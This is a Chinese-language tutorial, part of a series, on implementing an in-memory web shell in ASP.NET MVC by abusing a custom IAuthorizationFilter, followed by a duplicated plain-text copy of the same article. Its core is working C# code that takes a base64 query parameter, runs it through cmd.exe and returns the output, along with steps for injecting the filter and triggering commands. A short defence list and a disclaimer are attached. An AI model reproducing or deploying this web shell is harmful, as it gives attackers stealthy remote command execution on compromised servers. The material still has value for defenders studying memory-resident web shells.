.NET MVC实现虚拟WebShell第3课之IAuthorizationFilter
字数 1026 2025-08-06 18:07:42

.NET MVC 实现虚拟 WebShell 之 IAuthorizationFilter 教学文档

0x01 背景知识

授权过滤器(IAuthorizationFilter)是 ASP.NET MVC 框架中的一个重要组件,位于认证过滤器(IAuthenticationFilter)之后,Action 方法执行之前。其主要功能包括:

  1. 完成授权相关的工作
  2. 在 Action 方法被调用前中断执行流程
  3. 可以用于实现安全控制或自定义逻辑

0x02 过滤器基础架构

FilterAttribute 基类

所有 MVC 过滤器默认继承自 FilterAttribute 基类:

[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = false)]
public abstract class FilterAttribute : Attribute, IMvcFilter
{
    // 实现细节...
}

关键特性:

  • 可应用于类(Controller)和方法(Action)
  • 默认 AllowMultiple = false(不允许同一过滤器多次应用)
  • 包含 Order 属性控制执行顺序

IAuthorizationFilter 接口

public interface IAuthorizationFilter
{
    void OnAuthorization(AuthorizationContext filterContext);
}

核心方法 OnAuthorization 接收一个 AuthorizationContext 参数,该上下文继承自 ControllerContext

0x03 标准授权实现 - AuthorizeAttribute

MVC 框架提供的标准授权实现:

public class AuthorizeAttribute : FilterAttribute, IAuthorizationFilter
{
    // 可授权的用户列表(逗号分隔)
    public string Users { get; set; }
    
    // 可授权的角色列表(逗号分隔)
    public string Roles { get; set; }
    
    // 核心授权检查方法
    protected virtual bool AuthorizeCore(HttpContextBase httpContext) { /*...*/ }
    
    // 授权失败处理
    protected virtual void HandleUnauthorizedRequest(AuthorizationContext filterContext) { /*...*/ }
    
    // IAuthorizationFilter 实现
    public virtual void OnAuthorization(AuthorizationContext filterContext)
    {
        if (!AuthorizeCore(filterContext.HttpContext))
        {
            HandleUnauthorizedRequest(filterContext);
        }
    }
}

授权失败时会设置 HttpUnauthorizedResult,返回 401 状态码。

0x04 实现 WebShell

实现步骤

  1. 创建自定义授权过滤器类
  2. 实现 OnAuthorization 方法
  3. 添加命令执行功能

代码实现

public class MyAuthorizationFilter : IAuthorizationFilter
{
    public void OnAuthorization(AuthorizationContext filterContext)
    {
        // 获取请求参数
        var content = filterContext.HttpContext.Request.QueryString["content"];
        
        if (content != null)
        {
            HttpResponseBase response = filterContext.HttpContext.Response;
            
            // 创建进程执行命令
            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/c " + 
                Encoding.UTF8.GetString(Convert.FromBase64String(content));
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardError = true;
            
            p.Start();
            
            // 读取命令输出
            byte[] data = Encoding.Default.GetBytes(
                p.StandardOutput.ReadToEnd() + 
                p.StandardError.ReadToEnd());
            
            // 返回结果
            response.Write("<pre>" + Encoding.Default.GetString(data) + "</pre>");
            response.End();
        }
    }
}

使用方式

  1. 访问 /dotnetofAuthenticationFilter.aspx 注入虚拟文件到内存
  2. 访问 /?content=dGFza2xpc3Q= (tasklist 的 base64 编码)执行命令

0x05 防御措施

  1. 输入验证:严格验证所有输入参数
  2. 权限控制:限制敏感操作权限
  3. 代码审查:定期检查自定义过滤器实现
  4. 日志监控:记录异常授权请求
  5. 使用官方授权机制:优先使用 AuthorizeAttribute

0x06 总结

IAuthorizationFilter 提供了强大的请求拦截能力,可以用于:

  • 实现标准授权逻辑
  • 创建自定义安全控制
  • 执行前置处理逻辑

但同时也可能被滥用实现恶意功能,开发人员需要充分理解其工作机制并实施适当的安全措施。

注意:本文所述技术仅用于教育目的,切勿用于非法用途。

.NET MVC 实现虚拟 WebShell 之 IAuthorizationFilter 教学文档 0x01 背景知识 授权过滤器(IAuthorizationFilter)是 ASP.NET MVC 框架中的一个重要组件,位于认证过滤器(IAuthenticationFilter)之后,Action 方法执行之前。其主要功能包括: 完成授权相关的工作 在 Action 方法被调用前中断执行流程 可以用于实现安全控制或自定义逻辑 0x02 过滤器基础架构 FilterAttribute 基类 所有 MVC 过滤器默认继承自 FilterAttribute 基类: 关键特性: 可应用于类(Controller)和方法(Action) 默认 AllowMultiple = false (不允许同一过滤器多次应用) 包含 Order 属性控制执行顺序 IAuthorizationFilter 接口 核心方法 OnAuthorization 接收一个 AuthorizationContext 参数,该上下文继承自 ControllerContext 。 0x03 标准授权实现 - AuthorizeAttribute MVC 框架提供的标准授权实现: 授权失败时会设置 HttpUnauthorizedResult ,返回 401 状态码。 0x04 实现 WebShell 实现步骤 创建自定义授权过滤器类 实现 OnAuthorization 方法 添加命令执行功能 代码实现 使用方式 访问 /dotnetofAuthenticationFilter.aspx 注入虚拟文件到内存 访问 /?content=dGFza2xpc3Q= (tasklist 的 base64 编码)执行命令 0x05 防御措施 输入验证 :严格验证所有输入参数 权限控制 :限制敏感操作权限 代码审查 :定期检查自定义过滤器实现 日志监控 :记录异常授权请求 使用官方授权机制 :优先使用 AuthorizeAttribute 0x06 总结 IAuthorizationFilter 提供了强大的请求拦截能力,可以用于: 实现标准授权逻辑 创建自定义安全控制 执行前置处理逻辑 但同时也可能被滥用实现恶意功能,开发人员需要充分理解其工作机制并实施适当的安全措施。 注意:本文所述技术仅用于教育目的,切勿用于非法用途。